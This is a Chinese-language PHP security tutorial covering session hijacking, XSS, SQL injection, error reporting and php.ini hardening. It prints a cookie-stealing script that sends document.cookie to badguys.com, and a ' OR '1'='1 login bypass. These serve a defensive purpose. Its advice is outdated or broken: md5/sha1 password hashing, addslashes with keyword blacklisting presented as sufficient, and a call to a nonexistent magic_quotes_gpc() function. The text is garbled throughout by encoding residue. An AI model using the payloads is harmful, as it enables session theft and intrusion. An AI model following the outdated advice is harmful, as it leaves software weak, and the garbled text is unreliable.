Session ID Protection Session ID 保護(hù)問(wèn)題 Session ID 錯(cuò)了將會(huì)使PHP網(wǎng)站導(dǎo)致一些問(wèn)題。PHP的session跟蹤機(jī)制采用唯一的ID來(lái)識(shí)別不同的用戶(hù),但如果這個(gè)ID被別的用戶(hù)知道了,那么他就可以"搶劫"這個(gè)用戶(hù)的ID而看到一些機(jī)密的信息。Session ID "搶劫"是不可能完全避免的,你應(yīng)該熟悉它可以造成的破壞和造成破壞的方法,這樣你可以最大程度上減小這個(gè)損害。 舉例說(shuō)明,當(dāng)一個(gè)用戶(hù)已經(jīng)通過(guò)驗(yàn)證了并且分配給他了一個(gè)session ID,但你在顯示一些敏感信息時(shí)(比如修改密碼)應(yīng)該再次驗(yàn)證這個(gè)用戶(hù)。一定不要在用戶(hù)修改密碼時(shí)而不要求他輸入原來(lái)的密碼。你也應(yīng)該避免只通過(guò)驗(yàn)證session ID的方法就把一些非常敏感的信息顯示給用戶(hù),比如信用卡號(hào)。 用戶(hù)重新登陸后你應(yīng)該通過(guò)session_regenerate_id這個(gè)函數(shù)來(lái)重新分配一個(gè)新的session ID給他。有一些"搶劫"session ID的人可能會(huì)在登陸前就設(shè)置好自己的session ID。通過(guò)重新分配session ID的方法可以有效的防止這個(gè)。 如果你的網(wǎng)站是運(yùn)行在一個(gè)公共的服務(wù)器上時(shí),你應(yīng)該清楚的意識(shí)到任何session變量都可以很容易的被同樣在這個(gè)服務(wù)器上的別的用戶(hù)知道。解決這個(gè)問(wèn)題的方法是把所有的敏感信息都儲(chǔ)存在數(shù)據(jù)庫(kù)中,并通過(guò)session ID來(lái)唯一關(guān)聯(lián)他們。如果你非要把密碼保存在session變量中,一定不要以明文方式保存,你應(yīng)該用sha1() (PHP 4.3+) 或 md5()函數(shù)來(lái)加密他們。
if ($_SESSION[password] == $userpass) { // do sensitive things here }
上面這段代碼是不安全的,因?yàn)槊艽a是以明文的方式保存在session變量中。所以你應(yīng)該用下面這段代碼來(lái)替代他:
if ($_SESSION[sha1password] == sha1($userpass)) { // do sensitive things here }
SHA-1算法也有漏洞,比如可以暴力破解。盡管如此,這項(xiàng)技術(shù)還是被廣泛的使用來(lái)儲(chǔ)存密碼。必要時(shí)可以用MD5函數(shù)來(lái)儲(chǔ)存密碼,但是你得記住,現(xiàn)在的技術(shù)已經(jīng)有可能在一小時(shí)內(nèi)破解MD5所加密的密碼。理想的是用一個(gè)函數(shù)比如SHA-256來(lái)保存密碼,這種函數(shù)可以在PHP上運(yùn)用,但是完全獨(dú)立于PHP。 Bruce Schneier's網(wǎng)站是一個(gè)非常好的資源用來(lái)學(xué)習(xí)一些更高級(jí)的東西。
Cross Site Scripting (XSS) Flaws 跨站點(diǎn)腳本漏洞(XSS) 跨站點(diǎn)腳本漏洞也是一個(gè)用戶(hù)驗(yàn)證的問(wèn)題,例如一個(gè)惡意的用戶(hù)在提交的數(shù)據(jù)中插入了一段腳本命令,最常見(jiàn)的就是JS,而這段腳本被別的用戶(hù)執(zhí)行了。 舉個(gè)例說(shuō),如果你的應(yīng)用程序包含一個(gè)用戶(hù)可以提交信息的論壇,而這些信息任何人都可以看見(jiàn),那么如果一個(gè)惡意的用戶(hù)提交了一個(gè)<sctipt>標(biāo)簽,比如下面的代碼,那么就有可能在使這個(gè)頁(yè)跳轉(zhuǎn)到一個(gè)他們控制的網(wǎng)站,這樣他們就可以通過(guò)GET的方式取得你的cookie和session信息,然后重新把頁(yè)面跳轉(zhuǎn)回原來(lái)的頁(yè)面,就象什么都沒(méi)發(fā)生一樣。那么惡意的用戶(hù)就可以收集別的用戶(hù)session和cookie的信息,然后用這些數(shù)據(jù)來(lái)"搶劫"session ID或用其他的方式攻擊你的站點(diǎn)。
<script> document.location = 'http://www.badguys.com/cgi-bin/cookie.php?' + document.cookie; </script>
為了防止這種攻擊,你必須屏蔽掉用戶(hù)輸入的<script>標(biāo)簽,而把他們轉(zhuǎn)換成<和>的HTML代碼的實(shí)體,這樣別的用戶(hù)通過(guò)查看HTML源碼看到的就是 <和 > ,而不會(huì)是script代碼了。 cgisecurity.com 站點(diǎn)提供了大量的跨站點(diǎn)腳本漏洞的資料,而且解釋的非常好。極力推薦大家閱讀它并理解它。XSS漏洞是非常難發(fā)現(xiàn)的,也是在我們編寫(xiě)PHP程序時(shí)一個(gè)非常容易犯的錯(cuò)誤。
SQL Insertion Vulnerabilities SQL注入攻擊 SQL注入攻擊也是一種輸入驗(yàn)證的漏洞。特別的是,它們可以利用數(shù)據(jù)庫(kù)查詢(xún)。舉例來(lái)說(shuō),在你的PHP腳本中,你可能會(huì)要求用戶(hù)輸入他們的ID和密碼,然后檢查他們的密碼和數(shù)據(jù)庫(kù)中的用戶(hù)信息是不是吻合。
SELECT * FROM users WHERE name='$username' AND pass='$password';
但,如果用戶(hù)在登陸時(shí)用另外一種迂回的方法,你可以輸入下面的信息做為他的密碼。
' OR '1'='1
這樣就會(huì)導(dǎo)致SQL查詢(xún)語(yǔ)句變成下面這樣:
SELECT * FROM users WHERE name='known_user' AND pass='' OR '1'='1';
這樣就會(huì)在不加以驗(yàn)證的情況下返回用戶(hù)名,因?yàn)樵谌魏吻闆r下上面的SQL語(yǔ)句都是正確的,因?yàn)?1'='1'永遠(yuǎn)正確。這樣惡意用戶(hù)就可以隨便選一個(gè)用戶(hù)名登陸你的系統(tǒng)。你可以在PHP.INI中打開(kāi)magic_quotes_gpc。但如果你用的是共享的服務(wù)器,而你沒(méi)有權(quán)限修改php.ini的話(huà),你可以用代碼來(lái)檢測(cè)magic_quotes_gpc是否是on,如果是off的話(huà),那么你應(yīng)該在把用戶(hù)提交的數(shù)據(jù)用addslashes()函數(shù)過(guò)濾,然后提交給數(shù)據(jù)庫(kù)。代碼如下:
if (magic_quotes_gpc()){ $username = $_GET["username"]; } else { $username = addslashes($_GET["username"]); }
如果magic_quotes_gpc是on的話(huà),就不要用addslashes()函數(shù)了,如果你用了的話(huà),就時(shí)一些特殊符號(hào)轉(zhuǎn)義兩次,這樣會(huì)導(dǎo)致錯(cuò)誤。 SQL注入漏洞不會(huì)總是導(dǎo)致擴(kuò)大權(quán)限。比如,惡意用戶(hù)可以通過(guò)他得到已選擇的數(shù)據(jù)庫(kù)中的記錄。 在用戶(hù)提交數(shù)據(jù)給數(shù)據(jù)庫(kù)查詢(xún)時(shí),你應(yīng)該要檢查是否包含 ' " , ; ( ) 這些符號(hào),甚至要檢查是否包含關(guān)鍵字,比如 FROM , LIKE , WHERE 等。這寫(xiě)是SQL注入攻擊中常見(jiàn)的字符,所以當(dāng)這些字符是不必要的話(huà),你應(yīng)該在用戶(hù)提交數(shù)據(jù)時(shí)過(guò)濾掉,那么你就不用擔(dān)心SQL注入這種漏洞了。
Error Reporting 錯(cuò)誤報(bào)告 你應(yīng)該保證在你的php.ini中顯示錯(cuò)誤報(bào)告的變量的值是0,也就是不顯示任何錯(cuò)誤報(bào)告。就算你的代碼有問(wèn)題,比如數(shù)據(jù)庫(kù)連接發(fā)生錯(cuò)誤,也不要把它顯示給終端的用戶(hù)。惡意的用戶(hù)會(huì)利用這些錯(cuò)誤知道你的應(yīng)用程序內(nèi)部是怎么運(yùn)行的,他們一般是通過(guò)提交非法的數(shù)據(jù)來(lái)查看你的應(yīng)用程序顯示的錯(cuò)誤報(bào)告。 display_errors的值你可以在運(yùn)行程序時(shí)通過(guò)ini_set函數(shù)來(lái)修改,但這沒(méi)有直接在php.ini文件中修改好。比如當(dāng)你的程序有致命的錯(cuò)誤時(shí),這些錯(cuò)誤報(bào)告有可能還是會(huì)顯示出來(lái),比如這個(gè)程序不能運(yùn)行,那么ini_set函數(shù)照樣也不能運(yùn)行。 你可以設(shè)置error_log的值為1,這樣就能經(jīng)常把你的程序出現(xiàn)的錯(cuò)誤寫(xiě)入一個(gè)error log中。或者你可以使用自己的error函數(shù),比如在發(fā)生錯(cuò)誤時(shí)發(fā)一封email給你報(bào)告哪出錯(cuò)了,或者在發(fā)生錯(cuò)誤時(shí)執(zhí)行別的PHP代碼。這是一個(gè)明智的預(yù)防措施,這樣你就可以在惡意用戶(hù)知道這個(gè)漏洞存在之前發(fā)現(xiàn)這個(gè)漏洞,而及時(shí)修補(bǔ)。你可以查看PHP手冊(cè)中的error handling和set_error_handler()函數(shù)
Data Handling Errors 數(shù)據(jù)處理錯(cuò)誤 數(shù)據(jù)處理錯(cuò)誤在PHP程序中不是經(jīng)常發(fā)生,但PHP程序員也應(yīng)該注意它們。這類(lèi)錯(cuò)誤一般發(fā)生在提交的數(shù)據(jù)不可靠,導(dǎo)致可能被惡意用戶(hù)中途攔截這些數(shù)據(jù)并加以修改然后提交給我們的PHP程序。 最常見(jiàn)的數(shù)據(jù)處理錯(cuò)誤是在HTTP傳輸敏感數(shù)據(jù)的過(guò)程。信用卡號(hào)碼和用戶(hù)信息是最常見(jiàn)的敏感數(shù)據(jù),比如如果你傳送用戶(hù)名和密碼,而通過(guò)這個(gè)用戶(hù)名和密碼可以取得敏感信息。所以你在傳送敏感信息給用戶(hù)并且顯示在用戶(hù)的瀏覽器上時(shí)應(yīng)該使用SSL。否則,在你的服務(wù)器和終端用戶(hù)之間的惡意偷聽(tīng)者將會(huì)很容易的通過(guò)網(wǎng)絡(luò)數(shù)據(jù)包取得這些敏感數(shù)據(jù)。 還有這種錯(cuò)誤可能會(huì)發(fā)生在你通過(guò)FTP來(lái)更新你的網(wǎng)站的時(shí)候,因?yàn)镕TP是一個(gè)不可靠的協(xié)議。比如你通過(guò)這種不可靠的協(xié)議來(lái)傳送一些文件包含服務(wù)器的密碼的時(shí)候,有可能會(huì)被偷聽(tīng)者截取。所以你應(yīng)該使用可靠的協(xié)議比如SFTP或SCP來(lái)傳送這些敏感的文件。而且千萬(wàn)不要通過(guò)EMAIL來(lái)傳送敏感信息。只要可以讀取網(wǎng)絡(luò)數(shù)據(jù)的任何人都可以看見(jiàn)你的EMAIL信息。就象你把信息寫(xiě)在明信片背后然后郵寄出去一樣。其實(shí)實(shí)際上被截取的幾率很小,但我們也沒(méi)必要冒這種風(fēng)險(xiǎn),不是么? 最大程度上減小數(shù)據(jù)處理錯(cuò)誤是非常重要的。比如你的程序是一個(gè)網(wǎng)上商城,那么就有必要保存一些交過(guò)定單的信用卡的號(hào)碼超過(guò)6個(gè)月?你應(yīng)該把他們保存在不能連上網(wǎng)絡(luò)的地方,并且和你的服務(wù)器不相連。這不但是一種最基本的方法來(lái)防止入侵,也可以服務(wù)器被入侵后帶來(lái)的損失。沒(méi)有什么安全系統(tǒng)是完美的,所以你的安全系統(tǒng)也不是。
Configuring PHP For Security PHP安全配置 一般來(lái)說(shuō),大部分新的PHP版本會(huì)比老的PHP版本安全。但是,如果你的應(yīng)用程序安裝在一個(gè)比較古老而且PHP版本比較低服務(wù)器上時(shí),那么默認(rèn)的設(shè)置就沒(méi)有最新版本的PHP中默認(rèn)的設(shè)置來(lái)得安全了。 你應(yīng)該建立一個(gè)頁(yè)面來(lái)顯示phpinfo()函數(shù)來(lái)查看你的的PHP.INI中的變量設(shè)置,并找到其中不可靠的設(shè)置。把這個(gè)文件放在一個(gè)別人不能訪(fǎng)問(wèn)的地方。因?yàn)镻HP.INI的設(shè)置對(duì)黑客收集信息來(lái)說(shuō)非常有用。 下面列舉了在PHP設(shè)置中的一些建議: register_globals: 最危險(xiǎn)的設(shè)置,在以前的PHP版本中默認(rèn)的是on,但現(xiàn)在的PHP版本中已經(jīng)默認(rèn)為OFF了。它把所有用戶(hù)輸入的變量都當(dāng)作全局變量來(lái)解釋。請(qǐng)檢查這個(gè)設(shè)置并把他設(shè)置為OFF。不要問(wèn)為什么,沒(méi)有原因,Just do it!這個(gè)設(shè)置比其他任何東西造成的安全問(wèn)題都多。如果你是使用的共享的主機(jī),你應(yīng)該在每一頁(yè)都使用ini_set()函數(shù)來(lái)禁止這個(gè)設(shè)置,把他設(shè)置成OFF。
Magic Quotes:magic quotes設(shè)置回自動(dòng)把單引號(hào),雙引號(hào)和反斜線(xiàn)符號(hào)自動(dòng)轉(zhuǎn)義。magic_quotes_gpc提供的是轉(zhuǎn)義GET,POST,COOKIE變量,而magic_quotes_runtime提供的是轉(zhuǎn)義從數(shù)據(jù)庫(kù)或文件中得到的數(shù)據(jù)。你應(yīng)該在運(yùn)行程序時(shí)使用ini_get()函數(shù)來(lái)檢查這些設(shè)置,如果它們是關(guān)閉的話(huà),那么你應(yīng)該使用addslashes函數(shù)手工轉(zhuǎn)義GET,POST,COOKIE變量,代碼你可以看上面SQL注入那的例子。
safe_mode:safe_mode設(shè)置是一個(gè)非常有用的方法來(lái)防止非法連接本地文件。你只允許文件的所有者來(lái)讀取和運(yùn)行PHP腳本。如果你的程序經(jīng)常要打開(kāi)本地文件,那么可以考慮開(kāi)啟這個(gè)設(shè)置。
disable_functions:這個(gè)設(shè)置只能在php.ini中修改,而不能在運(yùn)行程序時(shí)修改。這個(gè)設(shè)置可以讓你屏蔽掉某些你不希望使用的函數(shù)。它可以防止運(yùn)行一些有害的PHP代碼。有一些函數(shù)當(dāng)你不使用時(shí)把它們屏蔽掉是非常有用的,他可以防止別人非法的運(yùn)行這些函數(shù)。
請(qǐng)閱讀PHP手冊(cè)的安全部分并且熟悉它。當(dāng)有黑客想入侵你的網(wǎng)站時(shí),你會(huì)嘗到好處。當(dāng)黑客們放棄攻擊你的網(wǎng)站而去攻擊另外的容易的目標(biāo)時(shí),那么你就及格了。
深入學(xué)習(xí) 下面的這些站點(diǎn)是我推薦你閱讀來(lái)加強(qiáng)你的安全知識(shí)的。新的漏洞和新的攻擊方式每時(shí)每刻都在更新。所以我在這篇文章的介紹中就說(shuō)了,"安全是一個(gè)過(guò)程",而且安全教育也是一個(gè)過(guò)程,所以你的安全知識(shí)必須隨時(shí)更新。
OWASP: 開(kāi)源的WEB安全應(yīng)用程序,是一個(gè)不獲利的組織,專(zhuān)注于"找出和打擊使軟件不可靠的根源" ,他們提供的一些資料是無(wú)價(jià)的,而且會(huì)定期舉行一些討論。極力推薦!
CGISecurity.Net::是另外一個(gè)非常好的WEB安全站點(diǎn),他們有許多有趣的FAQ,和一些有深度的安全文檔。
請(qǐng)不要忽略文章下面的評(píng)論,有一些非常好的而且是最新的信息可以在這些用戶(hù)的評(píng)論中找到。
phpAdvisory:是一個(gè)專(zhuān)注于PHP安全問(wèn)題的網(wǎng)站。它列舉一些PHP最近的安全問(wèn)題而且給出了解決這些問(wèn)題的方法。
BugTraq郵件列表: 也是一個(gè)非常好的安全資源。你如果對(duì)PHP安全問(wèn)題有興趣的話(huà),你應(yīng)該經(jīng)常的關(guān)注它。你會(huì)對(duì)它包含的安全問(wèn)題的數(shù)量感到驚訝,比如我上面提到的SQL注入,跨站點(diǎn)腳本攻擊和其他的一些漏洞。
Linux Security:是另外的一個(gè)好的站點(diǎn)。因?yàn)槟銟O有可能是在LINUX主機(jī)上運(yùn)行你的PHP程序。
總結(jié) 就象我在這篇文章中說(shuō)到的,你在編寫(xiě)PHP程序時(shí)應(yīng)該了解很多的安全問(wèn)題,而且這些安全問(wèn)題很多都是別的語(yǔ)言和別的平臺(tái)也包括的。PHP并不比其他的任何語(yǔ)言安全。最重要的你得使用好。我希望你能在這篇文章中得到樂(lè)趣并學(xué)會(huì)一些東西。 請(qǐng)記住:just because you're paranoid doesn't mean there's no one out to get you
經(jīng)典論壇討論帖: http://m.95time.cn/bbs/newsdetail.asp?id=2404271
出處:藍(lán)色理想
責(zé)任編輯:moby
上一頁(yè) Php 安全錯(cuò)誤 Top 7 [1] 下一頁(yè)
◎進(jìn)入論壇網(wǎng)絡(luò)編程版塊參加討論
|